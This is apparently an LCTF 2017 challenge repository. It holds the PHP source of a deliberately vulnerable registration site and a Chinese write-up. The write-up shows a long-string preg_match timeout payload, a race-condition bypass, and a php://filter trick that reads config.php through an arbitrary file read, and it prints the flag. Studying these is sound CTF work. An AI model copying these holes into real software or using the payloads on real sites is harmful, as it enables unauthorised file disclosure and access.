      <window_info id="Cvs" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="4" side_tool="false" content_ui="tabs" />
      <window_info id="Message" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
      <window_info id="Commander" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="0" side_tool="false" content_ui="tabs" />
      <window_info id="Inspection" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.4" sideWeight="0.5" order="5" side_tool="false" content_ui="tabs" />
      <window_info id="Hierarchy" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="2" side_tool="false" content_ui="combo" />
      <window_info id="Find" active="false" anchor="bottom" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.33" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
      <window_info id="Ant Build" active="false" anchor="right" auto_hide="false" internal_type="DOCKED" type="DOCKED" visible="false" show_stripe_button="true" weight="0.25" sideWeight="0.5" order="1" side_tool="false" content_ui="tabs" />
    </layout>
  </component>
  <component name="TypeScriptGeneratedFilesManager">
    <option name="processedProjectFiles" value="true" />
  </component>
  <component name="VcsContentAnnotationSettings">
    <option name="myLimit" value="2678400000" />
  </component>
  <component name="XDebuggerManager">
    <breakpoint-manager />
    <watches-manager />
  </component>
  <component name="editorHistoryManager">
    <entry file="file://$PROJECT_DIR$/login.php">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="0">
          <caret line="0" column="0" lean-forward="false" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
          <folding>
            <marker date="1510846020335" expanded="true" signature="579:632" ph="SELECT passw... users" />
          </folding>
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/login.php">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="0">
          <caret line="0" column="0" lean-forward="false" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
          <folding>
            <marker date="1510846020335" expanded="true" signature="579:632" ph="SELECT passw... users" />
          </folding>
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/config.php">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="0">
          <caret line="0" column="0" lean-forward="false" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
          <folding />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/login.php">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="598">
          <caret line="24" column="35" lean-forward="false" selection-start-line="24" selection-start-column="35" selection-end-line="24" selection-end-column="35" />
          <folding>
            <marker date="1510846020335" expanded="true" signature="579:632" ph="SELECT passw... users" />
          </folding>
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/xdcms2333.zip" />
    <entry file="file://$PROJECT_DIR$/config.php">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="0">
          <caret line="0" column="0" lean-forward="false" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
          <folding />
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/member.php">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="0">
          <caret line="0" column="0" lean-forward="false" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
          <folding>
            <marker date="1510815227725" expanded="true" signature="317:375" ph="SELECT ident... " />
          </folding>
        </state>
      </provider>
    </entry>
    <entry file="file://$PROJECT_DIR$/register.php">
      <provider selected="true" editor-type-id="text-editor">
        <state relative-caret-position="0">
          <caret line="0" column="0" lean-forward="false" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
          <folding>
            <marker date="1510816374400" expanded="true" signature="726:779" ph="SELECT usern... users" />
            <marker date="1510816374400" expanded="true" signature="943:1011" ph="INSERT INTO users... " />
            <marker date="1510816374400" expanded="true" signature="1240:1313" ph="INSERT INTO identities... " />
            <marker date="1510816374400" expanded="true" signature="1439:1510" ph="INSERT INTO identities... " />
          </folding>
        </state>
      </provider>
    </entry>
  </component>
</project>

================================================
FILE: src/web/萌萌哒的报名系统/README.md
================================================
#wp
这题提示给了IDE,那么我们可以想到PHP有款强大的IDE叫做PHPSTORM,他新建项目的时候会生成一个.idea文件夹,访问发现有一个`workspace.xml`文件,访问里面发现了一个`xdcms2333.zip`。
下载可得到整站源码
`register.php`
```php
<?php
	include('config.php');
	try{
		$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
	}catch (Exception $e){
		die('mysql connected error');
	}
	$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
    $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
    $code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';

    if (strlen($username) > 16 || strlen($username) > 16) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);
    if ($sth->fetch() !== false) {
        die('username has been registered');
    }

    $sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
    $sth->execute([':username' => $username, ':password' => $password]);

    preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
    if (count($matches) === 3 && $admin === $matches[0]) {
        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
        $sth->execute([':username' => $username, ':identity' => $matches[1]]);
    } else {
        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
        $sth->execute([':username' => $username]);
    }
	echo '<script>alert("register success");location.href="./index.html"</script>';
```
`login.php`
```php
<?php
	session_start();
	include('config.php');
	try{
		$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
	}catch (Exception $e){
		die('mysql connected error');
	}
	$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');

    if (strlen($username) > 32 || strlen($password) > 32) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT password FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);
    if ($sth->fetch()[0] !== $password) {
        die('wrong password');
    }
    $_SESSION['username'] = $username;
	unset($_SESSION['is_logined']);
	unset($_SESSION['is_guest']);
	#echo $username;
	header("Location: member.php");
?>
```
`member.php`
```php
<?php
	error_reporting(0);
	session_start();
	include('config.php');
	if (isset($_SESSION['username']) === false) {
        die('please login first');
    }
	try{
		$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
	}catch (Exception $e){
		die('mysql connected error');
	}
    $sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');
    $sth->execute([':username' => $_SESSION['username']]);
    if ($sth->fetch()[0] === 'GUEST') {
        $_SESSION['is_guest'] = true;
    }

    $_SESSION['is_logined'] = true;
	if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {
        
    }else{
		if(isset($_GET['file'])===false)
			echo "None";
		elseif(is_file($_GET['file']))
			echo "you cannot give me a file";
		else
			readfile($_GET['file']);
	}
?>
```
这里我们首先看`register.php`,这里我弄一个坑,就是
```
$admin = $admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
```
然后下面
```
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
```
如果匹配了`$matches[0]=$admin`就可以把xdsec注册到identities表中,可样我们就可以绕过第一层,`member.php`中的
```
if ($sth->fetch()[0] === 'GUEST') {
        $_SESSION['is_guest'] = true;
    }
```
但是str_shuffle是不可预测的,不知道有没有人在这里被我坑到XD.但是真正的思路不在这里。    
下面说说我在后台审计中看到了很多人用的非预期解--条件竞争。
因为身份验证是用`if ($sth->fetch()[0] === 'GUEST')`那么如果在identities表中没有`username`这一行数据,那么取出来`$sth->fetch()[0]`结果就是null,还是可以绕过第一层,所以可以用python多线程注册用户,在
```
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
```
语句执行之前登陆上去就可以绕过第一层。    
其实正解是通过pre_match函数的资源消耗来绕过,因为pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。    
payload:
```
code=xdsec###AAAAAAAAAAAAAAAAAAA(超多个A)
```
然后再登陆既可以绕过第一层。
第二层则比较简单,利用一个phpbug。给出个实例
```
<?php
$a = '123.php';
$b = 'php://filter/resource=123.php';
var_dump(is_file($a));
var_dump(is_file($b));
?>

boolean true

boolean false
```
利用伪协议就可以绕过php的is_file,然后读取本目录下的config.php即可得到flag
```
LCTF{pr3_maTch_1s_A_amaz1ng_Function}
```



================================================
FILE: src/web/萌萌哒的报名系统/config.php
================================================
<?php
$user = "root";
$pass = "root";
$flag2333 = "lctf{pr3_maTch_1s_A_amaz1ng_Function}"
?>

================================================
FILE: src/web/萌萌哒的报名系统/css/login2.css
================================================
html {
	
}
body {
	font-family:"Microsoft Yahei";
	font-size:12px;
	margin:0;
background: #fff url(../images/1.jpg) 50% 0 no-repeat;}
ul {
	padding:0;
	margin:0;
}
ul li {
	list-style-type:none;
}
a {
	text-decoration:none;
}
a:hover {
	text-decoration:none;color:#f00;
}
.cl{ clear: both;}
input[type="text"]:focus, input[type="password"]:focus {
	outline:none;
}
input::-ms-clear {
	display:none;
}
.login {
	margin:0 auto;
	width:370px;
	border:2px solid #eee;
	border-bottom:none;
	position:relative;
}
.header {
	height:50px;
	border-bottom:1px solid #e2e2e2;
	position:relative;
	font-family:"Microsoft Yahei";
}
.header .switch {
	height:45px;
	position:absolute;
	left:60px;
	bottom:0;
	font-size:16px;
}
.header .switch #switch_qlogin {
	margin-right:85px;
}
.header .switch .switch_btn {
	color:#999;
	display:inline-block;
	height:45px;
	line-height:45px;
	outline:none;
	*hide-focus:expression(this.hideFocus=true);
}
.header .switch .switch_btn_focus {
	color:#333;
	display:inline-block;
	height:45px;
	line-height:45px;
	outline:none;
	*hide-focus:expression(this.hideFocus=true);
}
.header .switch .switch_btn:hover {
	color:#333;
	text-decoration:none;
}
.header .switch .switch_btn_focus:hover {
	text-decoration:none;
}
#switch_bottom {
	position:absolute;
	bottom:-1px;_bottom:-2px;
	border-bottom:2px solid #848484;
}

.web_login {
	width:370px;
	position:relative;
}
#web_login{_left:60px;*left:0;}
.web_login .login_form {
	width:272px;
	margin:0 auto;
}
.web_login .reg_form {
	width:300px;
	margin:0 auto;
}
.web_login .input-tips {
	float:left;
	margin-top:10px;
	width:50px;
	height:42px;
	font-size:16px;
	line-height:42px;
	font-family:"Hiragino Sans GB", "Microsoft Yahei";
}
.web_login .input-tips2 {
	float:left;
	text-align:right;
	padding-right:10px;
	width:75px;
	height:30px;
	font-size:16px;
	margin-top:10px;
	clear:both;
	line-height:30px;
	font-family:"Hiragino Sans GB", "Microsoft Yahei";
}
.web_login .inputOuter {
	width:200px;
	height:42px;
	margin-top:10px;
	float:left;
	
}
.web_login .inputOuter2 {
	width:200px;
	margin-top:6px;margin-top:5px\9;
	float:left;
	
}
.web_login .inputstyle {
	width:200px;
	height:38px;
	padding-left:5px;
	line-height:30px;line-height:38px;
	border:1px solid #D7D7D7;
	background:#fff;
	color:#333;border-radius:2px;
	font-family:Verdana, Tahoma, Arial;
	font-size:16px;
	ime-mode:disabled;
}
.web_login input.inputstyle2:focus,.web_login input.inputstyle:focus{border:1px solid #198BD4;box-shadow:0 0 2px #198BD4;}
.web_login .inputstyle2 {
	width:200px;
	height:34px;
	padding-left:5px;
	line-height:34px;
	border:1px solid #D7D7D7;
	background:#fff;
	color:#333;border-radius:2px;
	font-family:Verdana, Tahoma, Arial;
	font-size:16px;
	ime-mode:disabled;
}
.web_login .uinArea {
	height:55px;
	position:relative;
	z-index:10;
}
.web_login .pwdArea {
	height:55px;
	margin-bottom:10px;
	position:relative;
	z-index:3;
}
.web_qr_login {
	position:relative;
	
	overflow:hidden;
}

.cue {
	height:40px;
	line-height:40px;
	font-size:14px;
	border:1px #CCCCCC solid;
	margin-top:10px;margin-bottom:5px;
	text-align:center;
	font-family:"Hiragino Sans GB", "Microsoft Yahei";
}
.login {
	background-color:#ffffff;
}

h1{margin:80px auto 50px auto;text-align:center;color:#fff;margin-left:-25px;font-size:35px;font-weight: bold;text-shadow: 0px 1px 1px #555;}
h1 sup{
    font-size: 18px;
    font-style: normal;
    position: absolute;
    margin-left: 10px;}
.login {border:0;padding:5px 0;
background: #fff;
margin: 0 auto;
-webkit-box-shadow: 1px 1px 2px 0 rgba(0, 0, 0, .3);
box-shadow: 1px 1px 2px 0 rgba(0, 0, 0, .3);}

.web_login{padding-bottom:20px;}

.jianyi{color:#fff;text-align:center;margin-top:25px;color:#B3B8C4;}
.reg_form li {
height: 55px;
}
.cue {
margin-top: 15px;
margin-bottom: 10px;border:1px solid #eee;border-radius:3px;
}
.web_login input.inputstyle2:focus, .web_login input.inputstyle:focus {
border: 1px solid #5796f;
box-shadow: 0 0 0;
}
.web_login .reg_form {
width: 300px;
margin: 0 auto;
}
.web_login .inputstyle2 {border-radius:2px;width:210px;}
.web_login .input-tips2 {
padding-right: 5px;
width: 80px;_width: 75px;_font-size:12px;}
.button_blue
{
	display:inline-block;
	float:left;
	height:41px;border-radius:4px;
	background:#2795dc;border:none;cursor:pointer;
	border-bottom:3px solid #0078b3;*border-bottom:none;
	color:#fff;
	font-size:16px;padding:0 10px;*width:140px;
	text-align:center;outline:none;font-family: "Microsoft Yahei",Arial, Helvetica, sans-serif;
}
input.button_blue:hover
{
	background:#0081c1;
	border-bottom:3px solid #006698;*border-bottom:none;
	color:#fff;
	text-decoration:none;
}
a.zcxy {text-decoration: underline;line-height:58px;margin-left:15px;color: #959ca8;}
.web_login .login_form {margin-top:30px;}
.web_login .uinArea {
height: 60px;}
.header .switch{left:70px;}



================================================
FILE: src/web/萌萌哒的报名系统/images/login.js
================================================
$(function(){
	
	$('#switch_qlogin').click(function(){
		$('#switch_login').removeClass("switch_btn_focus").addClass('switch_btn');
		$('#switch_qlogin').removeClass("switch_btn").addClass('switch_btn_focus');
		$('#switch_bottom').animate({left:'0px',width:'70px'});
		$('#qlogin').css('display','none');
		$('#web_qr_login').css('display','block');
		
		});
	$('#switch_login').click(function(){
		
		$('#switch_login').removeClass("switch_btn").addClass('switch_btn_focus');
		$('#switch_qlogin').removeClass("switch_btn_focus").addClass('switch_btn');
		$('#switch_bottom').animate({left:'154px',width:'70px'});
		
		$('#qlogin').css('display','block');
		$('#web_qr_login').css('display','none');
		});
if(getParam("a")=='0')
{
	$('#switch_login').trigger('click');
}

	});
	
function logintab(){
	scrollTo(0);
	$('#switch_qlogin').removeClass("switch_btn_focus").addClass('switch_btn');
	$('#switch_login').removeClass("switch_btn").addClass('switch_btn_focus');
	$('#switch_bottom').animate({left:'154px',width:'96px'});
	$('#qlogin').css('display','none');
	$('#web_qr_login').css('display','block');
	
}


//根据参数名获得该参数 pname等于想要的参数名 
function getParam(pname) { 
    var params = location.search.substr(1); // 获取参数 平且去掉? 
    var ArrParam = params.split('&'); 
    if (ArrParam.length == 1) { 
        //只有一个参数的情况 
        return params.split('=')[1]; 
    } 
    else { 
         //多个参数参数的情况 
        for (var i = 0; i < ArrParam.length; i++) { 
            if (ArrParam[i].split('=')[0] == pname) { 
                return ArrParam[i].split('=')[1]; 
            } 
        } 
    } 
}  


var reMethod = "GET",
	pwdmin = 6;

$(document).ready(function() {


	$('#reg').click(function() {

		if ($('#user').val() == "") {
			$('#user').focus().css({
				border: "1px solid red",
				boxShadow: "0 0 2px red"
			});
			$('#userCue').html("<font color='red'><b>×用户名不能为空</b></font>");
			return false;
		}



		if ($('#user').val().length < 4 || $('#user').val().length > 16) {

			$('#user').focus().css({
				border: "1px solid red",
				boxShadow: "0 0 2px red"
			});
			$('#userCue').html("<font color='red'><b>×用户名位4-16字符</b></font>");
			return false;

		}
		$.ajax({
			type: reMethod,
			url: "/member/ajaxyz.php",
			data: "uid=" + $("#user").val() + '&temp=' + new Date(),
			dataType: 'html',
			success: function(result) {

				if (result.length > 2) {
					$('#user').focus().css({
						border: "1px solid red",
						boxShadow: "0 0 2px red"
					});$("#userCue").html(result);
					return false;
				} else {
					$('#user').css({
						border: "1px solid #D7D7D7",
						boxShadow: "none"
					});
				}

			}
		});


		if ($('#passwd').val().length < pwdmin) {
			$('#passwd').focus();
			$('#userCue').html("<font color='red'><b>×密码不能小于" + pwdmin + "位</b></font>");
			return false;
		}
		if ($('#passwd2').val() != $('#passwd').val()) {
			$('#passwd2').focus();
			$('#userCue').html("<font color='red'><b>×两次密码不一致!</b></font>");
			return false;
		}

		var sqq = /^[1-9]{1}[0-9]{4,9}$/;
		if (!sqq.test($('#qq').val()) || $('#qq').val().length < 5 || $('#qq').val().length > 12) {
			$('#qq').focus().css({
				border: "1px solid red",
				boxShadow: "0 0 2px red"
			});
			$('#userCue').html("<font color='red'><b>×QQ号码格式不正确</b></font>");return false;
		} else {
			$('#qq').css({
				border: "1px solid #D7D7D7",
				boxShadow: "none"
			});
			
		}

		$('#regUser').submit();
	});
	

});

================================================
FILE: src/web/萌萌哒的报名系统/index.html
================================================
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>XDCMS登陆系统</title> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<script type="text/javascript" src="js/jquery-1.9.0.min.js"></script>
<script type="text/javascript" src="images/login.js"></script>
<link href="css/login2.css" rel="stylesheet" type="text/css" />
</head>
<body>

<h1>后台登录<sup>V2017@XDSEC</sup></h1>

<div class="login" style="margin-top:50px;">
    
    <div class="header">
        <div class="switch" id="switch"><a class="switch_btn_focus" id="switch_qlogin" href="javascript:void(0);" tabindex="7">快速登录</a>
			<a class="switch_btn" id="switch_login" href="javascript:void(0);" tabindex="8">快速注册</a><div class="switch_bottom" id="switch_bottom" style="position: absolute; width: 64px; left: 0px;"></div>
        </div>
    </div>    
  
    <div class="web_qr_login" id="web_qr_login" style="display: block; height: 235px;">    

            <!--登录-->
            <div class="web_login" id="web_login">
               
               
               <div class="login-box">
    
            
			<div class="login_form">
				<form action="login.php" name="loginform" accept-charset="utf-8" id="login_form" class="loginForm" method="post">
               <input type="hidden" name="to" value="log"/>
                <div class="uinArea" id="uinArea">
                <label class="input-tips" for="u">帐号:</label>
                <div class="inputOuter" id="uArea">
                    
                    <input type="text" id="u" name="username" class="inputstyle"/>
                </div>
                </div>
                <div class="pwdArea" id="pwdArea">
               <label class="input-tips" for="password">密码:</label> 
               <div class="inputOuter" id="pArea">
                    
                    <input type="password" id="password" name="password" class="inputstyle"/>
                </div>
                </div>
               
                <div style="padding-left:50px;margin-top:20px;"><input type="submit" value="登 录" style="width:150px;" class="button_blue"/></div>
              </form>
           </div>
           
            	</div>
               
            </div>
            <!--登录end-->
  </div>

  <!--注册-->
    <div class="qlogin" id="qlogin" style="display: none; ">
   
    <div class="web_login"><form name="form2" id="regUser" accept-charset="utf-8"  action="register.php" method="post">
	      <input type="hidden" name="to" value="reg"/>
		      		       <input type="hidden" name="did" value="0"/>
        <ul class="reg_form" id="reg-ul">
        		<div id="userCue" class="cue">快速注册请注意格式</div>
                <li>
                	
                    <label for="username"  class="input-tips2">用户名:</label>
                    <div class="inputOuter2">
                        <input type="text" id="username" name="username" maxlength="16" class="inputstyle2"/>
                    </div>
                    
                </li>
                
                <li>
                <label for="password" class="input-tips2">密码:</label>
                    <div class="inputOuter2">
                        <input type="password" id="password"  name="password" maxlength="16" class="inputstyle2"/>
                    </div>
                    
                </li>
                
                <li>
                 <label for="code" class="input-tips2">CODE:</label>
                    <div class="inputOuter2">
                       
                        <input type="text" id="code" name="code" maxlength="10" class="inputstyle2"/>
                    </div>
                   
                </li>
                
                <li>
                    <div class="inputArea">
                        <input type="submit" id="reg"  style="margin-top:10px;margin-left:85px;" class="button_blue" value="同意协议并注册"/>
                    </div>
                    
                </li><div class="cl"></div>
            </ul></form>
           
    
    </div>
   
    
    </div>
    <!--注册end-->
</div>

</body></html>

================================================
FILE: src/web/萌萌哒的报名系统/login.php
================================================
<?php
	session_start();
	include('config.php');
	try{
		$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
	}catch (Exception $e){
		die('mysql connected error');
	}
	$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');

    if (strlen($username) > 32 || strlen($password) > 32) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT password FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);
    if ($sth->fetch()[0] !== $password) {
        die('wrong password');
    }
    $_SESSION['username'] = $username;
	unset($_SESSION['is_logined']);
	unset($_SESSION['is_guest']);
	#echo $username;
	header("Location: member.php");
?>

================================================
FILE: src/web/萌萌哒的报名系统/member.php
================================================
<?php
	error_reporting(0);
	session_start();
	include('config.php');
	if (isset($_SESSION['username']) === false) {
        die('please login first');
    }
	try{
		$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
	}catch (Exception $e){
		die('mysql connected error');
	}
    $sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');
    $sth->execute([':username' => $_SESSION['username']]);
    if ($sth->fetch()[0] === 'GUEST') {
        $_SESSION['is_guest'] = true;
    }

    $_SESSION['is_logined'] = true;
	if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {
        
    }else{
		if(isset($_GET['file'])===false)
			echo "None";
		elseif(is_file($_GET['file']))
			echo "you cannot give me a file";
		else
			readfile($_GET['file']);
	}
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body background="./images/1.jpg">
<object type="application/x-shockwave-flash" style="outline:none;" data="http://cdn.abowman.com/widgets/hamster/hamster.swf?" width="300" height="225"><param name="movie" value="http://cdn.abowman.com/widgets/hamster/hamster.swf?"></param><param name="AllowScriptAccess" value="always"></param><param name="wmode" value="opaque"></param></object>
<p style="color:orange">你好啊,但是你好像不是XDSEC的人,所以我就不给你flag啦~~</p>
</body>
</html>

================================================
FILE: src/web/萌萌哒的报名系统/register.php
================================================
<?php
	include('config.php');
	try{
		$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
	}catch (Exception $e){
		die('mysql connected error');
	}
	$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
    $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
    $code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';

    if (strlen($username) > 16 || strlen($username) > 16) {
        die('Invalid input');
    }

    $sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
    $sth->execute([':username' => $username]);
    if ($sth->fetch() !== false) {
        die('username has been registered');
    }

    $sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
    $sth->execute([':username' => $username, ':password' => $password]);

    preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
    if (count($matches) === 3 && $admin === $matches[0]) {
        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
        $sth->execute([':username' => $username, ':identity' => $matches[1]]);
    } else {
        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
        $sth->execute([':username' => $username]);
    }
	echo '<script>alert("register success");location.href="./index.html"</script>';

================================================
FILE: 出题人感言.md
================================================
# 出题人感言

## RE出题人 - Silver

又一年LCTF结束了,不知道大家是否开心。连续出了三年逆向题,每年都犯小错误,某种意义上也算是不容易了。

今年的三道题,一道(Driver)是早有预谋但码力不足,只好将题目的核心逻辑拆分出来单独出题,把CUDA运算放到另一题(Driver)中单独出题(结果还出了错,唉)。而第三道则完全是看新一季《Mr Robot》时候的一个新思路,不值一提。此外和往年不同的是,今年出题没有在防护上做太多操作——只有聊胜于无的strip。主要的重点,都放在对算法的逆向上。这和我这段时间的经历有一些关系,但也是希望能尝试一下,逆向工程这一技术如何能在传统的反病毒方向以外,从算法这一新的角度在CTF中出题。

我自己过去会陷入一个误区:难题就一定能是好题嘛?在传统领域(比如数学)是有很大可能的,一道建立在合理理论基础上的数学题如果很难,那么对适合这个分段的做题者来说,是很有可能是一道好题。CTF比赛的特点就在于,没有特别特别强的理论基础,更多的是对于实操技术的考量。在这一背景下,难题未必是好题。一个极端的例子是,服务器上跑着一个伪随机数发生器,需要选手去砸机房拿到种子获取flag。难度当然很高,但显然不是好题,因为这种题目只是为了难而难,没有什么闪光点,对选手实操能力的提高也并没有什么好处(当然,如果你主要就是砸机房的,当我没说)。

现在的我觉得,一道好题应该给做题者以思考和启发。一道好题为参赛队伍带来的不是1000分2000分,而是对一种旧技术在新场景下的应用机会探索契机,抑或是出题人和参赛选手共同完成的、对一种新技术的初步研究机会。出题人和选手绝不是对抗关系,而更像是伙伴关系,互相传递一些知识,共享进步,才使得CTF不会成为任何一方的独家舞台。如果一道题目连出题人自己都做不出来,那显然不能说是一道成功的题目。

题目是CTF竞赛的一部分,而CTF竞赛不只是为了获取分数而诞生的。当第一场Defcon 举办时,这场小型聚会的参会者们或许只是将这些对底层技术作为茶余饭后的谈资,将这些比赛看作是了解计算机技术领域的一扇窗口。或许没有人会想到二十五年后的今天,网络安全和CTF会变的的这样火爆,火爆到每个人都像是在滚烫的油锅中翻腾浮动,忍受着刻骨的疼痛,又想体验被油滴炸入天空的快感。

去年负责了LCTF的一些组织工作,赛前和赛中突生各种变故,看见了一些人,也知道了一些事。赛后暗自感叹,明年也不知道还能不能和大家一起玩。今年多亏给力的小伙伴们,有幸能和Pwnhub共同举办这次LCTF。

絮絮叨叨写了这么多,都够一篇博客了(笑)。总之还是希望各位能在CTF中找到一些快乐,能多多支持LCTF当然是再好不过的了。

能和大家一起玩,实在是很开心啊。
Download .txt
gitextract_kggrzwuz/

├── README.md
├── src/
│   ├── Android/
│   │   ├── Android-WP.md
│   │   └── Pay.apk
│   ├── crypto/
│   │   ├── py.trade1/
│   │   │   ├── challenge1
│   │   │   ├── challenge1.py
│   │   │   └── crypto1.md
│   │   └── py.trade2/
│   │       ├── challenge2
│   │       ├── challenge2.py
│   │       └── py.trade2.md
│   ├── misc/
│   │   ├── raspberry/
│   │   │   ├── README.md
│   │   │   ├── docker/
│   │   │   │   ├── sshd/
│   │   │   │   │   ├── Dockerfile
│   │   │   │   │   └── dist/
│   │   │   │   │       └── flag.txt
│   │   │   │   └── wetland/
│   │   │   │       ├── Dockerfile
│   │   │   │       └── dist/
│   │   │   │           ├── exec_service.py
│   │   │   │           ├── flag.txt
│   │   │   │           └── shell_service.py
│   │   │   └── hint.pcap
│   │   └── 拿去当壁纸吧朋友/
│   │       └── writeup.md
│   ├── pwn/
│   │   ├── 2ez4u/
│   │   │   ├── 2ez4u
│   │   │   ├── 2ez4u_exp.py
│   │   │   └── 2ez4u_writeup.md
│   │   ├── shopping/
│   │   │   ├── shopping
│   │   │   ├── shopping.c
│   │   │   └── shopping.md
│   │   ├── toy/
│   │   │   ├── toy
│   │   │   ├── toy_exp.py
│   │   │   └── toy_writeup.md
│   │   └── 完美冻结/
│   │       ├── exp.py
│   │       ├── 完美冻结
│   │       └── 完美冻结.md
│   ├── re/
│   │   ├── BeRealDriver/
│   │   │   └── writeup.md
│   │   ├── NuclearBomb/
│   │   │   └── writeup.md
│   │   ├── YublKey/
│   │   │   └── writeup.md
│   │   ├── use your IDA/
│   │   │   ├── decrypt.py
│   │   │   └── use your IDA.md
│   │   └── 滑稽博士/
│   │       ├── 滑稽博士
│   │       └── 滑稽博士.md
│   └── web/
│       ├── l-plarground/
│       │   └── writeup.md
│       ├── simple-blog/
│       │   ├── src/
│       │   │   ├── .admin.php.swp
│       │   │   ├── .login.php.swp
│       │   │   ├── README.md
│       │   │   ├── admin.php
│       │   │   ├── config.php
│       │   │   ├── css/
│       │   │   │   └── login.css
│       │   │   ├── index.php
│       │   │   ├── login.php
│       │   │   └── web1.sql
│       │   └── web-f1sh-writeup.md
│       ├── wanna-hack-him/
│       │   ├── src/
│       │   │   ├── admin_view.php
│       │   │   ├── index.php
│       │   │   ├── loghehehaha.txt
│       │   │   ├── preview.php
│       │   │   └── submit.php
│       │   └── wanna hack him-WP.md
│       ├── 他们有什么秘密呢/
│       │   └── 他们有什么秘密呢_ writeup.md
│       ├── 签到题/
│       │   ├── src/
│       │   │   └── test.php
│       │   └── web签到题.md
│       └── 萌萌哒的报名系统/
│           ├── .idea/
│           │   ├── modules.xml
│           │   ├── test.iml
│           │   └── workspace.xml
│           ├── README.md
│           ├── config.php
│           ├── css/
│           │   └── login2.css
│           ├── images/
│           │   └── login.js
│           ├── index.html
│           ├── login.php
│           ├── member.php
│           └── register.php
└── 出题人感言.md
Download .txt
